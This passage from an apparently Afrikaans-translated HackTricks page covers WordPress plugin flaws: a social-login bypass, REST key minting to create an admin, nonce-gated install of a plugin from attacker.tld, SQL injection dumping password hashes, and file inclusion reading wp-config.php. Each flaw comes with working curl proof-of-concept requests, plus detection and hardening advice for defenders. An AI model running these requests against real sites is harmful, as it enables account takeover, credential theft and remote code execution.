
  • Voorvereistes: attacker kan /wp-admin/admin-ajax.php bereik en weet/raai ’n geldige gebruikers-e-posadres.
  • Stel provider op ’n nie-ondersteunde waarde (of laat dit weg) om die default branch te tref en id=<victim_email> deur te gee.
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Verwagte sukses-aanwysers

  • HTTP 200 met JSON-liggaam soos {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* vir die slagoffer gebruiker; daaropvolgende versoeke is geauthentiseer.

Om die aksienaam te vind

  • Inspekteer die theme/plugin vir add_action('wp_ajax_nopriv_...', '...') registrasies in social login-kode (bv., framework/add-ons/social-login/class-social-login.php).
  • Grep vir wp_set_auth_cookie(), get_user_by('email', ...) binne AJAX handlers.

Opsporingskontrolelys

  • Weblogs wat ongeauthentiseerde POSTs na /wp-admin/admin-ajax.php wys met die social-login aksie en id=.
  • 200 antwoorde met die sukses JSON onmiddellik voorafgaande aan geauthentiseerde verkeer vanaf dieselfde IP/User-Agent.

Verharding

  • Moet nie identiteit aflei uit kliĂ«ntinvoer nie. Aanvaar slegs e-posadresse/ID's wat afkomstig is van 'n gevalideerde verskaffer-token/ID.
  • Vereis CSRF nonces en capability checks selfs vir aanmeldhulpmiddels; vermy die registrasie van wp_ajax_nopriv_ tensy dit absoluut nodig is.
  • Valideer en verifieer OAuth/OIDC antwoorde server-side; verwerp ontbrekende/ongeldige providers (geen terugval na POST id nie).
  • Oorweeg om social login tydelik uit te skakel of virtueel aan die edge te patch (blokkeer die kwesbare aksie) totdat dit reggemaak is.

Gepatchte gedrag (Jobmonster 4.8.0)

  • Verwyder die onveilige terugval uit $_POST['id']; $user_email moet afkomstig wees van geverifieerde provider-takke in switch($_POST['using']).

Ongeauthentiseerde privilege-eskalasie via REST token/key minting op voorspelbare identiteit (OttoKit/SureTriggers ≀ 1.0.82)

Sommige plugins openbaar REST-endpoints wat herbruikbare “connection keys” of tokens mint sonder om die aanroeper se capabilities te verifieer. As die roete slegs op 'n raaiselbare attribuut (bv., username) autentiseer en nie die sleutel aan 'n gebruiker/sessie bind met capability checks nie, kan enige ongeauthentiseerde aanvaller 'n sleutel mint en bevoegde aksies aanroep (admin account creation, plugin actions → RCE).

  • Kwetsbare roete (voorbeeld): sure-triggers/v1/connection/create-wp-connection
  • Fout: aanvaar 'n username, gee 'n connection key uit sonder current_user_can() of 'n streng permission_callback
  • Impak: volle oorname deur die geminte sleutel te koppel aan interne bevoegde aksies

PoC – mint a connection key and use it

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Waarom dit uitbuitbaar is

  • Sensitiewe REST route wat slegs beskerm word deur 'n laag-entropie identiteitsbewys (username) of ontbrekende permission_callback
  • Geen capability-afdwinging nie; minted key word aanvaar as 'n universele omseiling

Detection checklist

  • Grep plugin code for register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • Enige route wat tokens/keys uitreik gebaseer op deur die versoek verskafde identiteit (username/email) sonder om dit te koppel aan 'n geverifieerde gebruiker of 'n capability
  • Soek na volgende routes wat die minted token/key aanvaar sonder server-side capability kontroles

Hardening

  • Vir enige bevoorregte REST route: vereis 'n permission_callback wat current_user_can() afdwing vir die vereiste capability
  • Moet nie long-lived keys uit client-supplied identity skep nie; indien nodig, gee kortlewende, user-bound tokens uit na verifikasie en kontroleer capability weer tydens gebruik
  • Valideer die oproeper se gebruikerskonteks (wp_set_current_user is nie afdoende op sigself nie) en verwerp versoeke waar !is_user_logged_in() || !current_user_can()

Nonce gate misuse → ongeauthentiseerde arbitraire plugininstallasie (FunnelKit Automations ≀ 3.5.3)

Nonces voorkom CSRF, nie autorisasie nie. As kode 'n nonce-pass hanteer as 'n groen lig en dan capability kontroles vir bevoorregte operasies (bv. install/activate plugins) oorslaan, kan ongeauthentiseerde aanvallers aan 'n swak nonce-vereiste voldoen en RCE bereik deur 'n backdoored of kwetsbare plugin te installeer.

  • Kwetsbare pad: plugin/install_and_activate
  • Fout: swak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Impak: volle kompromittering via arbitraire plugininstallasie/-aktivering

PoC (shape depends on plugin; illustrative only)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Opsporingskontrolelys

  • REST/AJAX handlers wat plugins/themes wysig met slegs wp_verify_nonce()/check_admin_referer() en geen capability check
  • Enige kodepad wat $skip_caps = true stel na nonce-validasie

Verharding

  • Hanteer nonces altyd as slegs CSRF tokens; afdwing capability checks ongeag nonce-toestand
  • Vereis current_user_can('install_plugins') en current_user_can('activate_plugins') voordat installer code bereik word
  • Weier nie-geauthentiseerde toegang; vermy om nopriv AJAX actions bloot te stel vir geprivilegieerde flows

Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≀ 3.6.1)

Verskeie depicter-* actions het die s (search) parameter gebruik en dit in SQL queries gekonkateneer sonder parameterisering.

  • Parameter: s (search)
  • Fout: direkte stringkonkatenering in WHERE/LIKE clauses; geen prepared statements/sanitization
  • Impact: databasis-ekstraksie (gebruikers, hashes), laterale beweging

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Grep vir depicter-* action handlers en direkte gebruik van $_GET['s'] of $_POST['s'] in SQL
  • Hersien custom queries wat aan $wpdb->get_results()/query() deurgegee word en s aanmekaar heg

Hardening

  • Gebruik altyd $wpdb->prepare() of wpdb placeholders; weier onverwagte metakarakters aan die bedienerkant
  • Voeg 'n streng allowlist vir s by en normaliseer dit na die verwagte charset/lengte

Unauthenticated Local File Inclusion via ongevalideerde template/file path (Kubio AI Page Builder ≀ 2.5.1)

Aanvaarding van deur 'n aanvaller beheerde paaie in 'n template-parameter sonder normalisering/begrenzing laat toe om willekeurige plaaslike lĂȘers te lees, en soms kode-uitvoering indien inkludeerbare PHP/log-lĂȘers in die runtime ingesluit word.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: geen normalisering/allowlisting; traversering toegelaat
  • Impact: geheime openbaarmaking (wp-config.php), potensiĂ«le RCE in spesifieke omgewings (log poisoning, inkludeerbare PHP)

PoC – lees wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Opsporingskontrolelys

  • Enige handler wat request-paaie saamvoeg in include()/require()/read sinks sonder realpath() containment
  • Kyk vir traversal-patrone (../) wat buite die beoogde templates-gids bereik

Verharding

  • Dwing toegelate templates af; los dit op met realpath() en vereis str_starts_with(realpath(file), realpath(allowed_base))
  • Normaliseer insette; verwerp traversal-sekwense en absolute paaie; gebruik sanitize_file_name() slegs vir lĂȘernaam (nie volle paaie nie)

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks